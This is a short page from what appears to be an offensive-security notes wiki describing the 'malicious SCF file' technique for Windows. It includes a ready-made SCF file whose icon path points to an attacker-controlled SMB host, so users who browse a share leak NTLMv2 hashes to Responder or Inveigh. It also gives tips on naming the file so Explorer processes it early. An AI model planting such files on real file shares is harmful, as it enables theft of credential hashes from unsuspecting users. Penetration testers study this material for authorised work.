> For the complete documentation index, see [llms.txt](https://breakpoint-journal.gitbook.io/breakpoint/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://breakpoint-journal.gitbook.io/breakpoint/windows/windows-privilege-escalation/monitoring-users/malicious-scf-files.md).

# Malicious SCF Files

Windows Explorer uses Shell Command Files, or SCF files, for actions such as navigating folders or showing the desktop. You can alter an SCF file so its icon points to a UNC path you control. When a user opens the folder that contains the file, Explorer attempts, for instance, an SMB connection. If that path targets a host running [Responder](https://github.com/lgandx/Responder), [Inveigh](https://github.com/Kevin-Robertson/Inveigh), or [InveighZero](https://github.com/Kevin-Robertson/InveighZero), you can often capture the user's NTLMv2 hash. If there's a heavily trafficked file share, you can try placing an SCF file there 

> Microsoft fixed this technique in Windows Server 2019.

{% code title="@Inventory.scf" %}

```
[Shell]
Command=2
IconFile=\\192.168.1.56\share\legit.ico
[Taskbar]
Command=ToggleDesktop
```

{% endcode %}

> Start the filename with `@` so it appears near the top of the directory. That increases the chance Explorer processes it as soon as the share opens. Replace the sample path with your `tun0` address, any share name, and any `.ico` filename.

Anyone who browses that share triggers NTLM authentication, which Responder can capture.